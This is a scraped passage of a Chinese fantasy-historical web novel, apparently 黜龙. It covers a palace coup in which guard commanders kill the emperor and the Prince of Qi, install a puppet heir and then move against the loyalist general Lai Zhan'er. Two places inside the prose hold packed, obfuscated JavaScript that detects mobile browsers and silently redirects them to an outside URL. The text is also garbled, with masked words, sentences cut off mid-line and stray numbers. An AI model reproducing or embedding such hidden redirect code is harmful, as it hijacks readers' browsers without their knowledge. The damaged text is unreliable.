元礼正再度大笑,然后根本不作回答,便离开了仓城。 牛督公在屋内,怔了片刻,只能继续低头来搓麻绳……结果只搓了一下便因为用力过猛,使得麻绳断开……这位北衙仅存的督公也只能束手呆坐在那里。 “他跳不起来**司马化达坐在自己府邸后堂上,听完封常的陈述,忽然开口,却又有些驴头不对马嘴。“他跳不起来,他就不能跳,他若能跳,三征那一遭、晋北那一遭便该跳,一征二征的时候也该跳起来的……何至于拖延到现在这种地步呢?” “明公是说齐王还是……圣人?”封常小心翼翼来问。 “明公是说我?”司马化达回过神来,却还是驴头不对马嘴。 “自然。”封常愈发小心起来。 “我算什么明公……”司马化达赶紧摆手。“我也跳不起来的。” “那我们呢?明公呢?”封常继续来问。“我们该如何作为?” “我们?我?”司马化达想了一想,给出答案。“我等天亮再说……你比较忙,你现在去告诉老七,齐王是个半拉子宗师,这确实是个麻烦,但也不能拖延,要么让他走,不走就动手,反正不能让齐王再入宫。等处置完齐王,让他去宫中控制局面,你回这里来准备一篇文章,明日去喝问**,问问他,是否知罪?!对了,我把这里的人都给你……他们都是好手。” 封常想了一想,起身而去。 又过了一刻钟,封常还没回到齐王府邸,元礼正刚刚抵达后宫处,担心局势有变的司马德克也正式率大队兵马涌入江都城内,宽阔的街道上到处都是披坚执锐的禁军,密密麻麻何止数万? 这股力量是绝对的,放在整个天下都是不可忽视的,遑论是在这一座城里? 而随着满城满宫的动静,局势终于彻底倾倒。 “杀了他。” 听了听完全盖住风声的呼喊声与甲叶作响声,张虔达回过神来,气喘吁吁的对身侧军士下令。“杀了他** 不用军士动手,一旁令狐行上前,抓住已经完全丧失抵抗力的右屯卫大将军白横俊的发髻,当众一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张虔达晓得宫中位置,立即转向,令狐行赶紧跟上。二人来到永巷,沿途不停有宫人指路,最后一名宫人更是直接指向了一处狭小的冷宫。 此处冷宫极小,就是一个人的规制,勉强放下一张床一个虎子的那种。 晓得人就在这里,张虔达还有些犹豫,令狐行却当场拔刀上前推门,却没有推开,便直接一刀隔着木门攮入其中,而长刀插入,赫然听到了衣帛撕裂声与粗重的呼吸声。 紧接着,是一个熟悉的声音:“你们想杀了朕吗?” 令狐行大喜,却又笑言:“陛下说什么呢?我们只是想奉陛下回东都** 门内又喘了两口气,似乎如释重负:“我也早想回东都,只是担心粮食不够,在等秋后罢了……你们这么着急,趁着暑气未至,一起回去也无妨。” “臣奉陛下出来。”令狐行根本懒得听后面的话,直接施展真气破开门来。 这一次,屋内没有抵抗,而令狐行也将满头汗水污渍、只穿中衣的曹彻给扶了出来。 这时候,赵行密等人也已经抵达,纷纷在下方行礼,然后却又蜂拥而上,将人请了出去,刚出永巷,司马德克与元礼正也至,就一起将皇帝送往了方便屯兵的成象殿,众人集合起来,准备彻夜守护。…. 这个时候,张康和元礼正同时提醒牛督公的位置,众人醒悟,复又下令安顿秩序,不得惊扰皇后、妃嫔,并驱赶宫人与内侍往仓城而去。 “我走了。”齐王府上,眼看着宫城那里数十道流光起了又落,而整个江都城全都喧哗胜过白昼,曹铭终于也死心转身。 “晚了。”刚刚在外面见过封常的司马进达已经变脸。“请齐王自裁,否则我们来动手** 说着,扭头来催促身侧甲士:“上**!架枪** 与此同时,其人直接放出真气,与身后十几名高手隐隐连在了一起。 “我早该想到的。”曹铭见状,格外沮丧。“早该想到的……不管如何经过,现在禁军控制局面,大局颠倒,你们不可能放过我,也不可能放过父皇……但是司马七郎,你们占尽了优势,不能留我一条生路吗?” 司马进达不由来笑,似乎不屑。 曹铭继续来言:“司马七郎,我今日不说交情,只说当日曹氏代司马氏,虽然不是你家,却也还是留有余地的;今日后以江都这里来论,必是司马代曹了,而今日司马氏若不能仿效曹氏当日对司马氏留有余地,将来又怎么能指望其他人对司马氏留有余地呢?” 司马进达沉默了下来,片刻后抬手示意:“走吧** 曹铭微微一振,拱手道谢,便要去后院去取子女。 “你不要步行,借真气腾跃起来,去后院**司马进达复又喊住了对方,此时却接过一支弓来,弯弓搭箭,蓄满了断江真气,指向对方后背。 曹铭满头大汗,定在当常 他不是不想腾跃,而是发力时丹田疼痛难耐,竟不能起身。 司马进达见状狞笑一声,手中真气长箭飞出,正中对方后背,随即周围**箭齐飞,都往曹铭身上飞来……曹铭后背疼痛异常,大吼一声,却居然引动真气,当场腾跃起来,而且腾跃距离极广。 这还不算,飞到空中落下还有数丈高度时,其人身上的辉光真气明显在夜空中散开,摔落下去。 司马进达赶紧下令:“你们留下杀尽他子女,我去追他** 然而,就在司马氏的私兵大肆屠戮齐王家眷时,追出去的司马进达却怎么都寻找不到齐王,毕竟黑灯瞎火,也不知道落在哪家哪院哪条街。 还要挨家挨户之时,为了躲避屠戮场景而跟出来封常赶紧来劝:“七将军,速速去宫中,那里才是最关键的地方。” 司马进达无奈之余也只能应声,却是下令部属来,自己仓促又往宫中去。 到了宫中,晓得皇帝被控制住,也不敢乱走,便干脆与这些禁军领袖一起带兵,就在成象殿中守了半夜。 翌日一早,赶紧喊了司马德克,让后者引兵去请自己兄长。 结果,司马德克只是推脱。 这下子,司马进达惊怒交加,却不敢此时翻脸,而且皇帝还在禁军高层包围的殿中,更不晓得如何来做,只能匆匆去找其他人,终于找到了令狐行,这才有一支兵马专门去迎司马化达。…. 另一边,司马化达听了局势,犹犹豫豫:“牛督公在仓城没出来?齐王负伤跑了?” “是。” “禁军也没有杀了皇帝,反而供奉有礼?而且控制了宫城秩序?” “是。” “那宫中岂不是还很危险?”司马化达继续来问。 “危险……总是危险吧。”令狐行心中不屑,面上却只是若有所思。“但这个局势,睿国公难道还能继续躲着吗?” “确实。”司马化达连连颔首。“那我就走一遭,还请令狐将军尽量顾我周全……封舍人一起去。” 令狐行只是敷衍颔首。 就这样,天刚刚亮,令狐行便护送柱国、睿国公领左翊卫大将军司马化达自东门进入,刚一进去,便闻得宫城内欢呼震动,一问才知道,居然是虎贲大将军司马德克刚刚护送着皇帝曹彻走出了殿外,外面参与兵变的禁军见到皇帝露面,正在欢呼雀跃。 司马化达知晓后一声不吭,先去东北面仓城,见到了惊惶不安的內侍与宫人,却也不吭声,只是来到房前与牛督公一礼。 后者不敢怠慢,终于出了仓城暗室,也是一礼。 见此情形,內侍与宫人也不由欢呼雀跃起来。 随即,司马化达不再犹豫,只喊了一名内侍引路,便重新回到外面队列中,在令狐行的护送下抵达了成象殿外,而此时此刻,皇帝已经回到殿中,而成象殿外正有人争吵,却是中郎将赵行密和右候卫将军赵光,其余人则在围观。 二赵与看热闹的人见到是司马化达带着封常和令狐行来了,赶紧转身行礼。 司马化达也不摆架子,只是负手好奇来问:“你二位为何争吵?” “我刚刚奏请圣人去宫城外再见见其他军士以安军心,圣人也同意了,结果因为内侍都不知道跑去哪里,御撵没人扛,只能骑马,可圣人却嫌弃御马的马面有些旧……”右候卫将军、绰号摩云金翅大鹏的赵光愤然不平。“到底是发生了兵变,一个不好就还会出事,这时候是计较这个的吗?赶紧安抚军心才对,结果赵行密将军居然说既然如此,就不必出去了……这是什么道理?” 司马化达来看赵行密,后者欲言又止,干脆不言。 于是,司马化达点点头,再来看赵光:“赵将军说的对,皇家体统还是要的,我府上有匹御赐的北地好马,好鞍好笼头好马面还都是新的,不如辛苦赵将军亲自去取来。” 赵光大喜,拱手而去。 目送对方离开,司马化达这才看了眼赵行密,带着一行人走入殿中,其余外面的中郎将们,见到司马化达来了,也都随之而入。 司马进达早就在殿里面,也引着一群高级军官匆匆迎上。 而司马化达只是摆手,便带着一大群禁军军官往正中间御座方向而来。 司马德克正在殿中为御案供奉饮食,见到司马化达赶到,而且气势非凡,不敢怠慢,便匆匆扔下皇帝来迎,看动作,似乎是要引导对方朝皇帝行礼。 非只如此,皇帝也眯起眼睛,死死盯住了来人。 孰料,二司马还未相互走到跟前,带着一大群人的司马化达便忽然止步,然后昂首挺胸,指着御座中的皇帝对司马德克变了脸,堪称声色俱厉: “司马虎贲,都到这个局面了,你还把这个昏君放出去干什么?!是要害死我们大家吗?** 军事政变实际发动者、筹划者、组织者,执掌金吾卫的虎贲大将军司马德克当场愣住,继而手足失措,宛若被教训的下属一般。 曹彻更是面色惨白。 (本章完)3931445. ... 第六章风雨行(6) “虞常基呢?”就在司马德克尴尬之时,意识到什么的曹彻忽然来问。 “已经杀了,枭首示众。”司马进达扶剑上前扬声宣告。 “齐王呢?”曹彻再问。 “齐王全家昨夜已经伏诛。”司马进达依旧不停。 曹彻怔了一下,沉默片刻,却还是没有死心:“牛督公呢?” “牛督公想救来着,却被宫人和内侍们堵在仓城,我刚刚已经见过他了,做了约定……上上下下,所有人都深恨于你,为什么你这厮到了此时还对他人有指望?”司马化达上前一步,凛然来对。 说着,居然义正辞严亲自拔出剑来指向对方,旁边司马进达见状,也赶紧拔剑,其余令狐行、赵行密等人纷纷随从,最后眼见前面一圈**部分都拔了刀剑,司马德克也只能拔刀。 “我曹彻何罪之有?”曹彻看到前排所有人都拔刀,终于再度惊惶,却居然咬牙反问起来。 装了几百人的成象殿中,陡然鸦雀无声,连司马化达都愣住了。 而过了片刻,赵行密忽然上前,将刀插在案上,然后指着对方奋力呵斥,以至于额头青筋跳动: “陛下在位这些年,对外出兵不停,对内骄奢淫逸,因为你个人心意一次次葬送全军精锐,使上百万、千万丁壮死在路边。丁壮**,妇女老弱支撑不住,又是成百万、千万的填在沟渠田野里。士农工商全都没有立足之地,盗贼蜂起,黜龙帮快把半个东齐给打下来了,巫族侵略到渭水边,白氏在晋地和襄樊反了,萧氏在江西与湖南反,皇叔被扔在东都耗死……你知不知道,早在三征前,天下就叫你**人怪了?!就这,来到东都偏安一隅,还要专任佞谀,饰非拒谏,怎么有脸说自己何罪?!!** “我确实对不起天下百姓,但对你们却称得上是一向优待吧?”曹彻想了一想,缓缓摇头反问。 “优待是说将我们拘禁在江都好多年不许回家?还是一旦获罪,立即诛杀无赦?”元礼正冷冷喝问。 “不止是江都,你是从登基开始便暴虐无度,亲王贵胄,将军大臣,稍不得意便要贬斥处死……我问你,你的骨肉兄弟们呢?就算是堂兄弟,哪个现在还能安享富贵?登基时的宰相和柱国们呢?现在又何处?”司马化达持剑冷笑。“而且,你哪次治罪不是牵连全族?哪次泄愤不是株连过度?” 话到这里,司马化达回头去看其余人:“诸位,这个人要留着,但有半分兵马权责回到他手里,咱们这些人全都要死!家人子弟门生故吏,也都要死** 这句话切中要害,众人纷纷颔首,以至于持刃鼓噪向前。 却不料,居然还是司马化达拦住了这些人:“名不正言不顺,要让中书舍人来问罪于他,然后记录成册。” 说着,其人朝落在殿门内角落的封常示意。…. 后者战战兢兢走上前来,拿出昨夜写好的问罪书,便要宣读。 曹彻听到之前司马化达的话便知道没有幸理,但此刻见到封常过来,还是不由蹙额:“封舍人,你不是读书人吗?你们读书人不都说要建设纲纪,视君如天,才能天人和谐吗?皇帝的威望,不就是你们这些读书人压着修行的人帮忙垒起来的吗?怎么你也要做这种事情?” 封常面红耳赤,扭头看向了司马化达:“司马公,我文书已写,还是不要念了吧……主要是昏君罪行,天下昭昭,我写的也太长了……迟则生变。” 从司马大将军升级成明公又变成司马公的司马化达闻言也笑:“不错,就不为难封舍人了,你去把文书贴出去,然后找皇后要皇后印,跟许宏一起写个传位诏书……” “传位给谁?”司马德克立即紧张了起来。 周围人也都紧张。 “赵王吧……赵王不是还在吗?”司马化达平静做答。“实在不行随便一个姓曹的都行,他不是这两年又生了两个吗?反正让下面的军士有个缓冲。” 众人如释重负,便没了异议。 这个时候,所有人齐齐看向了御座上的曹彻,却又几乎齐齐一滞。 “我来**片刻沉寂后,司马进达主动持械上前。 “我亦可为之。”有一人主动上前,却居然刚刚去接司马化达时还有些看不起对方的令狐行。 张虔达见状莫名有些慌乱,也主动向前:“杀之如杀一条狗,何须在意?” 说着,这三人便在赵行密等人的复杂目光中越过其余人等,然后白刃环绕御座,真气凝结,三人也相互交换眼神,便要动手。 到了这个时候,出乎意料,曹彻反而没了那些计较,其人沉默了一下,开口来言:“皇帝有皇帝的死法,我不能被乱刃所伤,也不能流血到地上……” “这个简单。”司马化达干脆打断对方。“用白绫。” “不能用鸩酒吗?”曹彻继续讨价还价。“我看太医正也在。” 司马进达等人扭头去看司马化达。 后者如何不晓得利害,直接挥手催促:“不要中了他的缓兵之计,真以为他是真情流露呢?!速速动手** 赵行密醒悟,也终于不顾一切向前,他的刀子插在案上,再加上不愿意直接动手,却是干脆直接运行真气,捉住了对方一只手按在了案上。旁边令狐行见到,有样学样,立即抓住了曹彻另外一只手。 两边被人扯住,视野开阔,曹彻目光扫过在场几人,心中一动:“三马食曹!竟在于此** 这话还未来得及说出口,最近的张虔达更是毫不犹豫,挺刀便刺。 孰料,不知道是不是想到了三马食槽之旧梦,曹彻当次生死之际,反而努力调出一股真气,张虔达是唯一没有调度真气的,一刀下去,居然只入对方胸口皮肉。…. 不过,与此同时,一旁司马进达却见机的快,弃刀拔出自己脚踝绑着的金锥,然后只往对方脖颈里一插,便轻易插入半个金锥。 而也就是这么一插,下方那股真气陡然一缩,张虔达手中白刃也刺入对方胸口。 接着,一人拔刀,一人抽刺,两人撒手,曹彻胸口脖颈齐齐喷溅出血液来,激的整个御座、御案,外加四个动手的人全身是血。 这还不算。 曹彻心口、脖颈既破开,疼痛难耐,但莫忘了,他曾靠着皇帝之位摸到宗师境地,此时重创之下,身体本能发作,丹田那里居然还有真气在一股股的按照身体本能去遮护伤口,可惜他这些年荒废修为不说,把天下折腾这个样子,也不可能真的有什么深厚地气来护体……结果就是,真气断断续续来遮护他,他本人则反反复复遭受血液喷溅和伤口崩裂之疼痛,以至于在御座御案中反复挣扎挪动,血也溅的到处都是,几次想喊,脖颈那里也不知道断了几根管子,血液呛入,根本也嚎不起来。周围人见到,并无人上前帮助了结,只是躲闪逃避,但还是不免溅了一身血。 最后,折腾了一刻钟,其人方才渐渐失了力气,只勉强躺在御座上,奋力喘了几口气,却依旧是被自己血水呛到,而这次艰难咳嗽之后,便再无了声息。 杀个人弄成这个样子,大家都有些烦躁。 但也只是烦躁,毕竟大家都是战场上经历过的,没有几个人觉得这有什么说法。 更不要说,过了片刻,符宝郎牛方盛与中书舍人封常便一起回来,带来了“皇后旨意”。 两个人进来,看到满地血渍和躺在御座血泊中不动的男子,心下一惊,居然一时间没有开口。 “是请赵王登基吗?”司马化达见状不由不耐,直接扶剑上前询问。 “是。”可能是宰相子弟出身见识的多,牛方盛第一个回过神来。“是立赵王……赵王在哪里?” “赵王就在宫中别处,只是我们一群将军,如何能立赵王?”司马化达摊手反问。 这下子封常倒是有准备,赶紧取出不知道什么时候准备好的,旁边牛方盛根本不知道存在的“旨意”,然后高声宣读: “有旨,柱国、睿国公领翊卫大将军司马化达加上柱国,为左仆射;虎贲大将军司马德克加柱国、骁国公,同为左仆射;备身府总参军司马进达为右仆射……共掌国事,定赏罚,立新君,商议回东都事。” 旨意简明扼要,就是承认叛变集团三位领袖掌握一切的名义。 而司马德克刚刚弑君前后还有些紧张,闻得此言,彻底放松,便主动朝司马化达拱手。 司马化达点头,只是一回礼,便环顾左右:“先派人去请牛督公,告诉他,宫人和内侍都交给他,今日后皇后也要请他来护卫,我不会干涉大内, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167960|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但皇帝……”…. 说到这里,司马左仆射终于想起来一件正事:“赵王在宫中我知道,到底被安置在何处?” 其余人都不知道,各自乱看,最后看到张虔达那里,张虔达又去看元礼正。 元礼正一懵,赶紧回复:“昨夜群情激奋,昏君把赵王当做窥伺宫城的同谋,扔在马厩了,咱们赶紧去。” 虽晓得只是个傀儡,但想要安抚下面军士,方便赏罚,都还暂时需要这位,于是众禁军骨干不敢怠慢,纷纷簇拥着三位复姓司马的禁军首领往宫城一侧的马厩而去。 至于曹彻尸首,居然就扔在了成象殿。 众人抵达马厩,看到赵王被捆缚着扔在马粪堆里,一夜间脸都哭花了,旁边还有几具尸首,不由大定,几名军士赶紧上前扶起来,而三位司马仆射就在马槽这里,朝着马粪堆里的战战兢兢的赵王一起下拜,口称万岁。 赵王还想说些什么,却口舌嘶哑,而且无人理会。 实际上,一大堆禁军骨干下拜之后,司马化达便迅速起身,转身来言:“诸位,新君已立,正该封赏,但我以为,现在军心动荡,这个时候把诸位和旧部分开,反而容易出乱子,所以今日来的各位军权不动,而没有来的几位大将军也不要动他们,少许昨夜功臣,也只进补出缺的职务……还请大家不要觉得我赏罚不公。” 诸位军官闻得此言,反而振奋,纷纷称赞。 而司马化达却又干脆指了几人:“右威卫将军一直出缺,鹰扬郎将赵行密功勋卓著,可以补上;张虔达将军应该补白横俊的位置,做左骁骑卫将军;元礼正是虎贲军的人,请骁国公做主;还有令狐行将军,委实没有将军位子了,但本要回东都,请你来护卫赵……护卫陛下,然后单独成军,做伏龙卫的将军。” 众人纷纷称好。 司马德克又匆匆提拔了元礼正做了虎贲右翼将军,执掌金吾右卫,然后司马化达又提出来让牛方盛出身中书舍人,与封常一起暂时辅佐三位仆射管理南衙庶务,也都一路通畅。 随即,令狐行自引兵来,将新的皇帝带走去另一处殿中安置,而三司马带头,众人则边说边谈,往成象殿这里回来,却又开始说如何应对。 还没走到呢,昨夜没来的几卫大将军、将军,也就是张世安、李安远、张瑾、崔弘昇、何稀几人纷纷赶到,却也都和谐异常。 且说,他们之所以如此和谐,就是因为整个禁军体系都晓得,外面还有来战儿、鱼皆罗、吐万长论几人呢,尤其是来战儿和他的江都兵,跟禁军就尿不到一个虎子里去。 便是他们谁谁谁心中不满,或者另有想法,此时也要一致对外的。 更不要说,大家还要回东都的! 正和谐着,众人回到了成象殿外,忽然间,便闻得殿中有人放肆嚎哭,而且哭的那叫一个真情实切,哭的叫痛彻心扉。 一时间,大家都有些尴尬,甚至有不少人低头黯然,而所有人都止步不前。 “还是换个地方吧。”有人主动建议。 其余人如释重负,便又簇拥着三司马仆射往另一处殿中而去。 来到此处,又说了好一番话,眼瞅着外面太阳高照,便按照约定,匆匆往各处安抚军士、宣扬回东都,以及防备江都兵等事宜,而司马德克去巡视宫城,司马化达则留在殿中居中调度。 众人走出来,司马化达来送,其弟司马进达落在最后,趁机趁机低声来告:“殿中刚刚嚎哭的是那只大鹏……可要杀了?” “先不要杀,却要留心看祝”司马化达负手含笑,姿态面色不改。“现在正是用人之际,对付来战儿那些人需要这种好手……而且,也要给他时间,把对我们不满的,对那昏君还有感情的给汇集起来,才好一网打经…不然如何能成大事?” 司马老七心中了然,补充了一句:“那位左仆射也要注意。” 同样是左仆射的司马化达干脆摆手。 于是,司马进达告辞兄长,自行出宫去安抚部属……然后其人来到宫门外大街上,听着满街欢呼声,心中微动,然后陡然抬起头来。 无他,一日两夜大风,不知道何时便已经停了。 司马氏果然有至尊垂青吗?39314602. ... 第七章风雨行(7) 三月初十,在三征东夷行动接近四周年的时候,那个**、昏君、**人怪、陆上至尊、大魏第二位皇帝,死在了江都行宫成象殿的御座上。 昏君已死,风和日丽,血溅满地,天下大吉。 这不是胡扯,接下来,掌控了江都局势的禁军集团展现出了强大的执行力、战斗力,而且非常团结,在处理问题的过程中也显得非常有谋略,甚至展示出了相当的灵活性……使得江都周边的局面迅速得到改善。 首先,三司马当政后立即对外宣布了对**的讨伐和另立新君之事,他们并没有讳言弑君之事……原因很简单,一则,如果大魏也崩塌的话,那这天下就已经数百年连续纷乱了,弑君之事虽然比较吸引眼球却并不少见,大家都是这么过来的;二则,就曹彻做的事情,完全可以说一句天下苦其久矣。 坦诚说,反响确实很好。 江都城内,不能说没有反对者,但禁军整体上维持了团结,足以**一切,而皇后、牛督公等城内杂余势力,全都得到了禁军的安全保证,各方也都选择了依附于禁军这个团体,暂时达成合作。 这是对内。 对外,禁军并没有选择直接对来战儿开战,而是派出了大量使者,包括来战儿在内,吐万长论、鱼皆罗,乃至于目前占据徐州的杜破阵、占据大江上游的萧辉,当然还有东都方向,甚至包括黜龙帮,全都有使者派出。 总体上就一句话,我们事情已经做了,现在要回东都,收拾完东西,准备好粮秣就走,诸位想走的跟我们一起走,不想走的希望让开道路,没在路上的也不要阻碍我们。 恍惚中,似乎已经忘记了刚刚杀掉的曹彻。 实际上,也的确忘了。 “我不知道……反正动身来的时候还扔在殿中御座上,我也不敢去看。”秘书监袁盈主动选择了来做来战儿方向的使者,见面后,却是大哭一场,稍作整理,说到皇帝尸首,却又再度黯然。 很显然,这是一位保皇派。 “连尸首都不收吗?”宛若一个小巨人一般的来战儿瘫坐在堂前榻上,双目赤红。“整个江都都没有人收?” “我来之前没有。”袁盈确定道。“恰恰相反,宫中宫外城内城外,颇有官吏士民载歌载舞,饮酒达旦。” “我这里也有。”来战儿应了一声,却又沮丧。“我知道陛下不得人心,我知道天下人恨他许久,但是于我而言,若非是陛下当年简拔,只怕还是这江上一土贼……我又怎么可能不感激?我的命都是他的!” “我也是这个意思。”袁盈喟然道。“陛下有负天下,却没有负我,更没有负司马氏,大家到底是君臣一场,无论如何,我不能与司马氏那些人同列……所以才寻机会逃出来。” “江都那里……像袁监这种多吗?”来战儿试探性来问。 “当然不多。”袁盈言辞诚恳。“不过关键不在多不多,而在于根本无法聚拢联络起来……现在江都上下,人人思归,谁这个时候冒出来,上到一卫大将军下到寻常士卒,便是牛督公,怕也是要被禁军乱刀**的……所以,来公不要指望江都那里会有内应。” “皇后与赵王如何?” “皇后应该无恙,但赵王迟早会**了的……那些人杀了圣人,杀了齐王,杀了赵王两弟两妹,怎么可能会留赵王性命?怕是一过淮水便要动手的。” “只为此事,也要尽量救一救……牛督公果真当日与禁军是同谋?” “我得到的消息是,牛督公是在两可间,这在当日变中其实已经算是忠臣了……但下面的宫人、内侍全都愤恨圣人,堵住了牛督公,牛督公是个无根之人,反过来说根就在这些人身上,便顺水推舟留在了仓城看护那些人……我还听人说,圣人被寻到是宫人指的路。” “这么说,江都竟然是个团结一致的样子了?” “是……都要回东都嘛,什么人什么事一听到这话就眉飞色舞,四年了!” “那就真难了。”来战儿无奈摇头。 “吐万老将军这里怎么回事?是跟禁军商议好的吗?他们本属一脉。”袁盈反问。 “吐万老将军应该跟江都这一次没关系,是禁军知道了王怀通的事情,反过来陷害他,引诱我出城,只不过他到底是真见了王怀通,也不愿意撒手兵马去江都城赌命,这才对峙起来。”来战儿正色道。 “也是。”袁盈也极为无奈,却又强做振奋。“不过也好,现在还能留下空隙来,不然他们早就在事变之后直接联手来攻你了……现在来公准备如何应对?” “我要先联络吐万老将军跟鱼皆罗老将军,萧辉也要联络,若是他们反应一致,都愿意铲除司马氏,未必不能动手……但……”来战儿明显无奈,话到一半,卡了许久方才出言。“说句实话,要是我当日留在江都,看三司马这个气势,也未必阻拦得下来,可那样最起码也能一死尽忠,偿了圣人这条命……可现在呢,若是吐万长论与鱼皆罗都不愿意动手,我怕也只能枯坐,等他们走后收复江都而已;若是他们被说动,跟司马氏联手,我反而要先往江东或者上游去,以避开他们,根本就是无能为力。” “我猜也是如此,不管如何,我随总管在这里,不回去了。”袁盈立即表态。“我没有什么其他指望,就是不能跟司马氏同列。” “那就请袁监安心留下。”来战儿立即颔首。 就这样,秘书监袁盈只在六合山下的乌江城内留下,其实,来战儿和他的万余江都兵昨日其实也刚刚来到此处不过一日,他是听闻后方消息,惊愕之余刚刚放弃了对前方历阳城的进逼……这一日是三月十四,却有些云层时时遮蔽。 安顿好袁盈,派出使者后,来战儿有些疲惫,然而说是要早早歇息,却晚饭也没吃,也没有去睡觉,只是坐在他那个充当椅子的木榻上望着案上烛火发呆,一直到双月高深如轮。 坦诚点说,以来战儿这个天资卓绝的身体条件加上这个宗师修为,是不大可能真的疲惫的,与其说是疲惫,倒不如说是某种对局势的不安以及皇帝死后不知所措的外在表现。 来战儿自问自己这一生还是非常精彩的。 生下来就世道不好,正值乱世嘛,但所幸天赋异禀,稍微长成就仗着天赋异禀学着前辈麦铁棍做贼来奉养老母,然后还想着学麦铁棍这个老前辈再去陈朝当个兵,再去给老母挣个官身面子。 没成想,忽然间大魏建起来了,北面东齐被吞了,大江以北都成大魏疆土了。 然后老母也没了。 浑浑噩噩的时候,晋王来到了江都开设行台,听说了自己,把自己喊过去打伞,见识多了,心思才活泛起来。 那时候大江上下都说,江南有个麦铁棍给陈主打伞,江北有个来战儿给晋王打伞,就又记挂起了那个做贼的前辈……随后,两人的命运也似乎纠缠到了一起……等到陈亡了,麦铁棍跟了杨斌,自己还跟着晋王;再接着,杨斌成了太师,晋王成了太子;然后杨斌**,太子又成了皇帝……这个过程中,麦铁棍和他来战儿一起,全都水涨船高。 都是成家立业,做了一方军镇大员,都成了国公,都成了柱国,在东都的时候,都是一卫大将军,都是家里点着真火的南将,还都成了宗师。 俩人其实没什么交情,也没有什么共同履历,可就是有点像是对手,又有点像是兄弟。 随即,忽然就开始征东夷了。 征东夷也没什么,之前打巫族、逼降北地就很利索……但是不知道怎么回事,圣人开始变得荒唐起来,开始将军国大事当成儿戏。 而第一战,那个仿佛镜子里自己一般的麦铁棍就**。 从那之后,来战儿就好像失去了功名、修行上的灯塔一般,开始在修行上止步不前,开始在**上不知所措。 但好在圣人信任他,将他派回了江淮之地的老家,接下来就跟周效明一起搭伴,着手设立海军,建设徐州大营。 回到家乡,时不时的就能看到自己从小见到的江水桃林,身边也都是说家乡话南人,慢慢的也就解开了心结,还跟周效明关系紧密起来,**上、军事上都听这个精明强干的南地将种,甚至开始学着安排布置子女的婚事,购置房产,捐助修真火观。 这种舒坦安稳的日子,便是二征都没有打破,这主要是因为二征主力部队交战过于激烈,战斗结果过于惨烈,而过程又过于迅速,徐州大营根本没有来得及全面参战,还真就让他躲过去了。 可是,四年前的那个春夏之交,三征来了。 自己后半生好不容易重新交的好朋友、新兄弟周效明就那么**,辛苦多年建设的数万徐州大营的水军也都片板未归,儿子也**一个,就好像整个被军报一口吞掉一般,如果不是周效明的幼子恨自己入骨,那般激烈的与自己撕扯,甚至直接做了反贼,他几乎要以为这一战是在做梦。 而紧接着,根本不让他喘口气,最可怕的事情发生了,皇帝居然也弃了国家,来到了江都。 从当日劝谏不成那一刻开始,来战儿的生命中就只剩下煎熬了……他并不知道虞常基临死前写过什么“可恨狂风空自恶”,若是知道,必定感同身受。 谁让他们都是所谓忠臣呢?而做这种皇帝的忠臣,除了煎熬还有什么呢? 总之,老母没了,麦铁棍没了,周效明没了,现在,那个被所有人唾弃,众叛亲离到只剩自己的圣人也没了。 人生中经历过的那些事情,那些如山一般英雄,如风一般的豪杰,仿佛与天地凝固在一起,壮观而又伟大的大魏朝,全都没了。 来战儿感觉自己像是没了根的烛火,不知道往哪里飘,更不知道从哪里获得油脂来继续燃烧……总不能去真火观做个看火盆的吧? 可真火观只收女观,男子进了真火教都是听教主调遣的,现在连教主都是萧辉手下的反贼,自己难道要给那些人当下手吗?怎么可能! 正想着呢,身前案上那团火忽然就熄灭了。 今日风也不大,但就 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随即,其人站起身来,走出屋子,宛若巨人一样的身形微微紧绷,淡红色的离火真气凭空闪过,下一刻,这位巨人便出现在了空中,而他身下赫然是一座宛如圆座一般的巨大赤色火盆。 “来公居然察觉到了!” 城东北面不过数里的六合山中,借着下方城池的火光映照,一阵骚动之中,此行名义上的主帅司马进达一声惊呼,然后看向了身侧的实际指挥官赵行密。“怎么办?” 赵行密倒是冷静:“首先,这厮命不该绝;其次就要问右仆射了,若是我们依旧发动进攻,你觉得吐万老将军会依约动手吗?” “我觉得会。”司马进达沉默片刻,给出答复。“大家都想回东都,便是说我们之前利用了他,可他真正该怨恨的难道不是那个还在成象殿躺尸的玩意吗?我觉得便是来公也是想明白了这一点,才忽然警醒的。” “那就动手!”赵行密毫不犹豫做了决断。“击溃这支江都军,杀他个片甲不留,让来战儿滚蛋,然后没有任何后顾之忧的集合所有禁军,带着三位宗师回东都!至尊下凡都拦不住我们回家!” “好!”司马进达也不再犹豫。 随即,军令层层下达,山顶和各处山道上特定的篝火被点燃,数不清的部队在火光的映照下,顺着六合山多个出口与道路涌出,居然足足有数万之众! 来战儿遥见此间动静,却没有第一时间扑上去……原因很简单,首先,他也被如此大的动静给惊到了,毕竟,眼前这副场景意味着东都禁军在控制了江都局势后,第一时间就派出了大部分兵力来对付自己,是没有丝毫犹豫的那种,这是何等的果断! 其次,他同样晓得,禁军的高手数不胜数,成丹者十余人,凝丹者数十人,哪怕来了一半,自己便是宗师,一旦交战,也不可能取得什么优势,反而要最大限度防止被困。 最后,如来战儿预料的那般,下方的乌江城内外,随着六合山上陡然显露的夜袭,瞬间就有不稳的趋势,这里才是关键。 而就在来战儿做出判断,准备当空巡视城防的时候,忽然间,他又汗**乍起,惊恐回身看向了身后西南方向,彼处乌江城得名的乌江河道这一侧,居然也亮起了无数火光,而火光之上,一支淡青色的巨大弓箭宛若满月一般拉起,箭头已经指向了自己。 那是吐万长论在巫族战场上观想巫族长弓的结果。 自己早该想到的。 